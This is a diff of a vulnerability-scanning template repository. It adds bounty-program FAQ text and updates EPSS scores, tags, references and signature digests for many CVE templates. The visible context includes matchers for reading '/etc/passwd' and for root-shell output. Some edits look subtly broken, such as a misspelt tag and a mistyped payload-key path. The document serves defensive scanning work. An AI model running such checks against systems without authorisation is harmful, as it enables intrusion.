+```
+
+## Is there a limit to how many issues I can work on?
+You can work on up to **3 issues** simultaneously.
+
+## What happens if I don’t complete an issue on time?
+Issues must be completed within **2 months**, or they will be closed.
+
+## How are rewards distributed?
+Rewards are distributed once the template is fully validated. If the issue remains unresolved for **few weeks**, the bounty may increase.
+
+## What should I include in my template submission?
+Include the following:
+> Avoid adding code templates for CVEs that can be achieved using HTTP, TCP, or JavaScript. Such templates are blocked by default and won’t produce results, so we prioritize creating templates with other protocols unless exceptions are made.
+- **Complete POC**: A working Proof of Concept.
+- **Matchers**: Multiple matchers to prevent false positives.
+- **Debug Data**: Data to assist the triage team in validation.
+- **Metadata**: Include required fields like `id`, `name`, `author`, `severity`, `description`, and `reference`.
+
+## What types of templates will be rejected?
+Templates may be rejected if they:
+- Rely solely on version detection.
+- Lack a complete POC.
+- Contain weak matchers or redundant changes to existing templates.
+
+## What should I avoid when submitting a template?
+- Avoid sharing real-world targets publicly.
+- Don’t submit templates with weak matchers.
+- Avoid unnecessary changes to existing templates.
+
+## Is there a leaderboard for contributors?
+Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
+
+## Is this program permanent?
+The bounty program is currently a test run, but we may make changes based on community feedback.
+
+## What additional rewards are available besides bounties?
+Beyond bounties, we also reward contributors with:
+- **Swag** such as t-shirts and stickers.
+- **Invites to security conferences** for standout contributors.
+- **Stickers** as a token of appreciation for all first-time contributors, regardless of the bounty.
+
+> Contributors who feel their pull request or issue was overlooked for first-time contributor stickers can ping us on our Discord for assistance: [ProjectDiscovery Discord](https://discord.com/invite/projectdiscovery).
@@ -9,7 +9,7 @@ info:
    - https://aws.amazon.com/cli/
  metadata:
    max-request: 2
-  tags: cloud,devops,aws,amazon,aws-cloud-config
+  tags: cloud,devops,aws,amazone,aws-cloud-config

 variables:
  region: "us-east-1"
@@ -52,4 +52,4 @@ code:
      - type: dsl
        dsl:
          - '"AWS CLI is properly configured for account \"" + account + "\" and all the necessary tools required are installed"'
-# digest: 490a0046304402202d1c1289391a00e7c7e4717dc091d105bb40020c400002f44af89fa67ff431d202200a64b98e6e7320777442ace34db91831c6f055b4ca0cc6ccf7d0a4952075c75b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022052484996550fb7281548c8303d5073f5afe21282edd02f6b44327849754db470022100e00b95fbe7c0069c51b67f29380e776144f64464de6aa670a8bcf248722b0e69:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
  reference:
    - https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
    - https://projectdiscovery.io/blog/ingressnightmare-unauth-rce-in-ingress-nginx
-  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security,vkev
+  tags: cve,cve2025,cloud,devops,kubernetes,ingress,nginx,k8s,k8s-cluster-security

 flow: |
  code(1);
@@ -59,4 +59,4 @@ javascript:
      - type: dsl
        dsl:
          - response
-# digest: 4b0a00483046022100a16749044616d7fa5bef0f34b7dc0efffcd6e15a1e913779e4d7ea7e5ae880ec0221008c99c79bb10af571f216473a6b882121d5a73ea2dd9924fac43efc9c2ba1c61b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022025ed151367a846d211bf074a1617a83ffb548d410c150328bf67f6ee18ac0b1802210096bcd92dbef5b968b615499daefd01e98fe26c6b6e56c6f431ec843c33379b67:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    /etc/kubernetes/manifests/kube-controller-manager.yaml and add the argument to the command section.
  reference:
    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/
-    - https://web.archive.org/web/20260114075905/https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+    - Cloud Vulnerability Assessment Guide(2024) by KISA
  tags: cloud,devops,kubernetes,devsecops,kube-controller-manager,bind-address,hardening,k8s,k8s-cluster-security

 variables:
@@ -47,4 +47,4 @@ code:
      - type: dsl
        dsl:
          - '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
-# digest: 4a0a00473045022100ce3791d8485a7d4ce1ad3f055cab92b20cf7e5c57f4e47ac478e74d193b74764022013ae946bf2b897ad3c2c1dbbe7268f54f658ced43f9ca82a3edc0b77785af48f:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950
@@ -16,7 +16,7 @@ info:
    /etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
  reference:
    - https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
-    - https://web.archive.org/web/20260114075905/https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+    - Cloud Vulnerability Assessment Guide(2024) by KISA
  tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security

 variables:
@@ -46,4 +46,4 @@ code:
      - type: dsl
        dsl:
          - '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
-# digest: 4a0a00473045022044867c79c6e39c0e6181e0f3339e6c915abb31d807a9b02fcec5fdac437e2d20022100dbae44977a3be1951dd85cb8bf16ab10d3372ca79a8c4616ccd2aa406a28c516:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950
@@ -142,4 +142,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 4a0a0047304502201ff2c314c4c8207000c67249618772848dafdf609be8c63cfc46a3f709062d0c022100efe127d5604505631022ef6e7c3ce8a29445e0b9c32e5de8d983550ff8100289:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022025fb32d50429e79a55671250d74099d03da47ce3216da49f1db8eab5c9ebd14402203d93330779bb4fb3553f3a283924d426ff05be56b0b7a038150bce3807037d13:922c64590222798bb761d5b6d8e72950
@@ -18,7 +18,7 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2016-8735
    epss-score: 0.90338
-    epss-percentile: 0.99799
+    epss-percentile: 0.99785
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
@@ -83,4 +83,4 @@ code:
          - 'contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572")'
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a004730450220454eeb8bf987ba4ab5c029ea128172479132728dee2ba1979b26c201ac650b44022100f695b2f06aa31969c851bfefe0a19b7b06ac19fcdde50b181197bd907efde140:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206b8e3dd583224b74ea527410d3774e68b25a61d5a3672732950a6dc9c694a07702201888286b4b3c9c9faf510525d47b2b122a4b046f03226fd4c1b1fa3c7e4cfea8:41987585204b393149694b2205534b1a
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
-    epss-score: 0.99679
-    epss-percentile: 0.9995
+    epss-score: 0.99686
+    epss-percentile: 0.99948
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -108,4 +108,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a0047304502203727c33a8cec447cfa28d7abe98d79e5ab19560b75660d86757b15ddc736ddf3022100ee1d12dbf38026c4c65d2948e7fa5231b1b71cc0cefcb70c9bd2e9f7ca00fba6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008910bc02234abc45ab9b1fb4439f3ef5af5db60c5d977de5770944115be930df022100d1f71932410d529654794405ec53fb4a9c0f45414571741a73b6e03adeefc82a:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cve-id: CVE-2019-0604
    cwe-id: CWE-20
    epss-score: 0.99913
-    epss-percentile: 0.99968
+    epss-percentile: 0.99966
  metadata:
    verified: true
    vendor: microsoft
@@ -156,4 +156,4 @@ code:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains(interactsh_request, hex_encode(marker))'
        condition: and
-# digest: 4a0a00473045022004775c8d5cd82057b1a17dc7c7935912e335f64b23d9925d98e8c2cd795813ff022100b472250d57bbcc9cc369c9ec332e5f2760c4ef722387b2f24412c2aedaedd3b6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100c74a382266e9dfdb3d03b6cc09a7cf9ddad7fd5c1fcc3427e624e70f2114eac7022053fa76d4023747107597a44ebb2e2530e2d8d8b913d65d7551c328c33fa2ebb1:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
-    epss-score: 0.63764
-    epss-percentile: 0.99222
+    epss-score: 0.63917
+    epss-percentile: 0.99123
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -51,4 +51,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 4b0a00483046022100f7a1f763d65c6e6e3c51906273969959ce129992b8f25f906f27399392fadb7c022100efb2c0f5d57315a5c7f6c81c7a9505d311a6a4c065654b1b51fa5e6f38f800f6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009f95a64653539c27c17d96b8dec42d6a4c345813e34945aec95c8303977ab697022027b0914a15a733ce01ccdace0c37a6e651b2c686144d929736ad3d2254f8e04d:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2020-0646
    cwe-id: CWE-91
-    epss-score: 0.99222
-    epss-percentile: 0.99935
+    epss-score: 0.99193
+    epss-percentile: 0.99929
    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
  metadata:
    verified: true
@@ -106,4 +106,4 @@ code:
          - 'contains(content_type, "text/xml")'
          - 'status_code == 200'
        condition: and
-# digest: 4a0a0047304502206987d50162e5094e8395d966e0c9994bcc274759874a0abfbdbd63eac17971d40221008a5f294f8a7fe9c8119213710c3a31344aaab72da3a5317059d7ef5047e3b591:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207162f761e3d8ddc260f7d3f67120120f8b615d0a94070bd2fad50ba2d30da7c9022100bac50b9c69fbd7c5dad760e65dd37125ee8d8586bdca7fa75f1b0bafd1912d38:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
-    epss-score: 0.86608
-    epss-percentile: 0.99741
+    epss-score: 0.87553
+    epss-percentile: 0.99736
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -281,4 +281,4 @@ code:
      - type: dsl
        dsl:
          - "contains_all(stderr, 'read tcp', 'i/o timeout') && !contains(stderr, 'websocket: close 1002 (protocol error): An invalid WebSocket frame was received - the most significant bit of a 64-bit payload was illegally set')"
-# digest: 4a0a004730450220696297a8c200dce0b67dbde81631b9fba28969813b1eb1328ce0b283ab86e91c022100d9491149f8271b9f417b426cf07b99dc92804a61844c6e77fc073f1a51bf4336:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201cc078bbe522c2e7e65046d1f57942c4416e145f327b671423c69f8cee335a03022076c19957a2a9ac877638982a59b80c38c454d390ab213de628db7bffb7a402e9:62279eae9ebf191e34eae847adfdbab2
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.99962
-    epss-percentile: 0.99975
+    epss-score: 0.99295
+    epss-percentile: 0.99933
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -44,4 +44,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 4a0a00473045022100f8b6b3dbad47f66af5e3a10b6ce02164ad35bc0683cdf1aefadc6bfb2107efc502205939d83ced077fdc70296b73e4c840a2fd2f1c2e4cb8fbb1dec6ff7b5953f9ee:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ab0a7ac942d47cd091d970fb33bf7349e9209b77c786e722f790a2d218f2ca41022100b7848035d28482d955ed57ef2669ef1dfa2b1702be8df9421af1fd6fd469fe2f:922c64590222798bb761d5b6d8e72950
@@ -25,7 +25,7 @@ info:
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
    epss-score: 0.99474
-    epss-percentile: 0.99943
+    epss-percentile: 0.99938
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -38,7 +38,7 @@ info:
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash="945408572"
-  tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,intrusive,kev,vkev,vuln
+  tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln

 flow: http () && code()

@@ -287,4 +287,4 @@ code:
      - type: word
        words:
          - "Target appears to be VULNERABLE"
-# digest: 4a0a00473045022100d8303a34225defa7b3e1a4f92c0465c9388f259e9ea7186311aa082b7714de6402200821c12a61e3f63c1124ebe72b00e885809f24cd161c28999d1c35b358377dd7:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203a594ca86728ad75290e4473c074d814b8eef20d8dae6a0d74a8e34835d9b8ed02202277f1b2746b99d80032baca203562d0d4116d9dd34f0ddf7a6de61ea66dfb0c:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
-    epss-score: 0.15199
-    epss-percentile: 0.96764
+    epss-score: 0.15783
+    epss-percentile: 0.96475
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 4a0a00473045022100fcba57c30ef9566204e7f3d747bb2cbea843b468984b7650de7c2c6ef5592840022054dc504f21f77cf52537f2e8bbc371a03d11aeed1ec18848b325b2bd4c42c71f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206db6fef55e0ea3720c171e24875022bc0c0b28fa1e8929bdb072f45c0ad3e787022100dedf028ad02b954b6ff47a920377b8a14bf24d77342839802e179f408530a0a0:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2986
-    epss-score: 0.42544
-    epss-percentile: 0.98712
+    epss-score: 0.41077
+    epss-percentile: 0.98492
    cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
@@ -630,4 +630,4 @@ http:
      - type: status
        status:
          - 302
-# digest: 490a0046304402206d440dcb2d0a1da0960983ead9551eeaf3a8f4b9c3b26dee136004160c7902d402202c1324a204e9562ba1c49093b69bc6e5818772cf378a51da07f47a98ede8d520:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d23bc6ccef12b3347fdbd3ddff22740de748e8fe21616207c13d46631915f94022044d6027dd10783cec3bfa982a825a050cb7c0f93c2bed2d5eb4e8af1e3a432ba:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
-    epss-score: 0.4319
-    epss-percentile: 0.98729
+    epss-score: 0.11074
+    epss-percentile: 0.95394
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -33,7 +33,7 @@ info:
      - http.title:"owncloud"
    fofa-query: title="owncloud"
    google-query: intitle:"owncloud"
-  tags: cve,cve2023,code,owncloud,auth-bypass,vuln,vkev,kev
+  tags: cve,cve2023,code,owncloud,auth-bypass,vuln
 variables:
  username: admin

@@ -94,4 +94,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 4b0a00483046022100dc9e0e457e470228ea6f0d2820849dbb2bc2861735cfa8a637407f791086faa7022100a38f024d8c71a47e01ffba52739cc63985f1721e4f9085cd9deb4309f37df5a4:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022042a5d3d6ba444a5d13ebc2b14e726017a1a1628d159defe06f1fd784754adf4002207eaaf24acd794eef00b23fc181eed45312960ea935f5c00f5783b5675079f80e:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.63769
-    epss-percentile: 0.99223
+    epss-score: 0.81422
+    epss-percentile: 0.99594
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4a0a0047304502207c9060b66d578f40d2b79a79956ba6ddd073550d34709d8ba6b859c207ae1128022100d3979492dbd103bcaee599832e56d2fada964c6f700827c8be62ab03aa5de46a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100eebfe3b3bef10d31b6567c5d98fe4ff8a29196ae0bb28b40997cb38a0ac6750202202102070abe91d318e863d75b536aeb56a24ce2adfa23f0e2170cb9a4fad316e4:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
    epss-score: 0.04794
-    epss-percentile: 0.91966
+    epss-percentile: 0.9087
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 4a0a00473045022100ce9bacf6c962d7ea46331f9c09ee8faa5f625d15a1c5ebeb2b71f86d378dc96202201322c9e8808e5bb2972d448fecc40f06b9b6c38fe3e44e44af36d07737bfdeda:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220159eaaa8ffa7ab7226c8015d7e96ddb3267c41b3e684a1ee2d99321f3182fbf9022100e0597ce6c9a0432c3168a1210aefa6b239b053a6b3e6a764e11e7ed807026e7d:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.28525
-    epss-percentile: 0.98137
+    epss-score: 0.2838
+    epss-percentile: 0.97889
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -58,4 +58,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 4b0a00483046022100f24faf25ec59432f3a70a96a50ed900842774f4f6aee986473bcbb4eeec7dcd3022100b41e8c95ffa3e84488dc72bdf648e08910b16db8a26928be928334fc20f7a90f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207859036fd3efae7fa01fa07b35bf51d43362e12a6a70c185927e3b4751f9375e022100e79b6014d8afb56f5d2a7270963654a1992cfdc281dba772364157f3fd93b60c:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
-    epss-score: 0.87432
-    epss-percentile: 0.99757
+    epss-score: 0.87991
+    epss-percentile: 0.99746
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
@@ -41,4 +41,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 4a0a0047304502205b6dd8fa67d400af1d4a77f5dcf3e1f1bad9f489d7b5926528df91cfbad476810221009b6206f0a5ce5564a639f72e33214ade0b35102df8e251d9fcac1fe6de31eb2e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210083c79d1d50a22879901fd6304689af4b01f5e9189138c99116c68b6810bb64ee022100b7f44a0aa7ad267068a405202a4842632130902be81b54fb4517952b052035ec:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
    epss-score: 0.76618
-    epss-percentile: 0.99545
+    epss-percentile: 0.99487
  metadata:
    max-request: 1
    vendor: zabbix
@@ -73,4 +73,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 4a0a004730450220206b64121f68ec2dd4225a4cd0de6680c61579ce495e620b47bfc6ce8d4f4768022100f1bcea5daba1f43b4f37e03527ad9b7c90fa0c24ba4ee2517c0fccf9d27164a6:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c902d7f86bee439e59b7b2480e16fbbf6240b8134c9edd1880769ffd79e23e43022100c956593926cefeeaeecb478bb0b1428fbc47c4b2d6ac5e036a9e34db5f029dcc:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.909
-    epss-percentile: 0.99807
+    epss-score: 0.85974
+    epss-percentile: 0.99702
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -63,4 +63,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 490a0046304402201974ed80358079eb51a0f9142de525fc6f0fa11b831eb7e025152a4116250912022071e15d76d3f080c5c3d3aaa6b30ccbb3e0a61ba60c26f12e3d546a795aaf233a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ffc100ac65c04f91487e3a92e982153a428d575f636e7847511d7c569e2d5d0a022001e1eaa3c0b5a529a7d2c6987c22c324b74c07e410a64fffc0a85f5150dd0a3b:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2024-4340
-    epss-score: 0.03237
-    epss-percentile: 0.88321
+    epss-score: 0.0321
+    epss-percentile: 0.86643
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
  tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
@@ -33,4 +33,4 @@ code:
        part: stderr
        words:
          - "RecursionError: maximum recursion depth exceeded"
-# digest: 4b0a00483046022100c165c9abcc291f6bd62aca0366694f292f2922c8408f7d22a1041b00cb15f759022100bb6b0d83a9a2ff8ed3fe6e3b6d1b5f0dd2d76c485c154d6bfd97114a736d7ac9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d25e4a13b66e18a70793db50686b8963280b7dc7e988a3480bea6d5700ed191e022032a5a86d1d784015c036d4cc9c56755d26cfdbd5ba7223124c81d91aa37f3d30:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
    epss-score: 0.10684
-    epss-percentile: 0.95823
+    epss-percentile: 0.95276
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
@@ -123,4 +123,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 4a0a0047304502210097062828c6d8457dae4cbb729e751ad24efddb6f5074de16c1ba105d64e0059a022034d7f9a4928585ca91f421082905a2cbc1f4527bb51009b0ac3e709d53df1758:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206fa8f842163f2c409cca1ad291289aca760f9c937aa5f71b1bef63d521082192022100e5a05953d273f8d6e701f1334125461737f1656477e849d32109115c11f4c577:922c64590222798bb761d5b6d8e72950
@@ -19,15 +19,15 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-47575
    cwe-id: CWE-306
-    epss-score: 0.94766
-    epss-percentile: 0.99858
+    epss-score: 0.94761
+    epss-percentile: 0.99848
    cpe: cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
-  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev,vuln
+  tags: cve,cve2024,fortinet,fortimanager,kev,rce,vkev

 variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"
-  keysDir: "helpers/payloads/cve-2024-47575-keys"
+  keysDir: "helpers/payloads/cve-2024-475759-keys"

 code:
  - engine:
@@ -147,4 +147,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022018449b2bb4d73699afb706451d74784f6a22ce145681e197b4bd582731ee2e9e022100923e5e1d911ffca36315a9293b356fa5e30e869eb945bdf4f7f81b11badbcfc6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100bed3e3eac534344fdb763ef3650cf423ad0ba9827c6bc423e77126ae52bd5816022078f4486cd95a931d57112679778f82328cc62dd2598ac4a2af264495347691a4:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-55556
    cwe-id: CWE-502
-    epss-score: 0.43906
-    epss-percentile: 0.98753
+    epss-score: 0.4356
+    epss-percentile: 0.98582
  metadata:
    verified: true
    max-request: 2
@@ -195,4 +195,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4b0a0048304602210083a465e3e8614e17de5991728ac9d80f9cdeb503fde02b4079b004483ee06df6022100a89d518fa1c5f6a822c777bd2a54b51611cec1e640916d2b5486ef00f0a3ab66:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207a771388c0c447bd8a872e34fdcb4c20f7a2e794dd7e3f21eee486acb68449e7022100c62bfe32aedec00d572eaf40222eea80573c4718a6b72b3c944e29de1d0449f3:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 6.8
    cve-id: CVE-2024-56331
    cwe-id: CWE-22
-    epss-score: 0.01845
-    epss-percentile: 0.79107
+    epss-score: 0.01793
+    epss-percentile: 0.75773
  metadata:
    verified: true
    shodan-query: http.title:"Uptime Kuma"
@@ -124,4 +124,4 @@ code:
      - type: word
        words:
          - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4a0a00473045022100a0eb29602ae597e28f4a93829f2dda206743a2f6fc6bf73d988a489b5ffa187402206de94bca23af3838a8d8cc3d76806f5615c60d3b6e1f65d0d1fe5e020c62f8b6:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022058dd549617610fd70c3bef78c51b60e727f9ba8a96482936f4d5eb44d3ad3ce2022072257ae6937461320bf62848f0e8885bc06e2add58fb576e39cfabda45b5fad5:922c64590222798bb761d5b6d8e72950
@@ -14,8 +14,8 @@ info:
    - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
    - https://github.com/advisories/GHSA-g83h-4727-5rpv
  classification:
-    epss-score: 0.25607
-    epss-percentile: 0.97966
+    epss-score: 0.22443
+    epss-percentile: 0.97411
  metadata:
    verified: true
    shodan-query: title:"GitHub Enterprise"
@@ -192,4 +192,4 @@ http:
      - type: kval
        kval:
          - user_session
-# digest: 490a0046304402203ce6ce097c5dbfe0f385cfb3459186fcedf77fcbcffa20a8c7a53a1de2a5abfd02207d6fa00d022ff2330feaf728dfd3b71f0f996a03843c1b619f07b4a27ef21857:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202e72afd0230955ea7101f82008388d9b886b3c2fb3dc41ec592f3e3f14d0a83a02210096e9bd166ef3522b5cc8c16b9820ddb639cf66363c22c7811aaccb30687e75eb:922c64590222798bb761d5b6d8e72950
@@ -15,11 +15,11 @@ info:
    - https://github.com/keras-team/keras/pull/20751
    - https://towerofhanoi.it/writeups/cve-2025-1550/
  classification:
-    epss-score: 0.02626
-    epss-percentile: 0.85536
+    epss-score: 0.02803
+    epss-percentile: 0.84774
  metadata:
    max-request: 1
-  tags: cve,cve2025,code,keras,rce,ml,vuln
+  tags: cve,cve2025,code,keras,rce,ml

 self-contained: true

@@ -77,4 +77,4 @@ code:
        part: response
        regex:
          - "root:.*:0:0:"
-# digest: 4b0a00483046022100f5214a9cb0b92eab1fbb452e8c40db8296705374c3f2a1327ff8067fa8e8a904022100e60c98e707631840cc352a45061090694047927fd65a1f5c6a8f5c7e045a07a1:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220397b16b7852b80eff0d9833cb912c5f17137b1ca151ef9e330a544b5df96bfab0220474718d09cac82ed59bb2e36d23e7d638f5f87813fe2e52bd44c5e0c2526472c:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.0
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
-    epss-score: 0.99981
-    epss-percentile: 0.99981
+    epss-score: 0.99979
+    epss-percentile: 0.9998
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
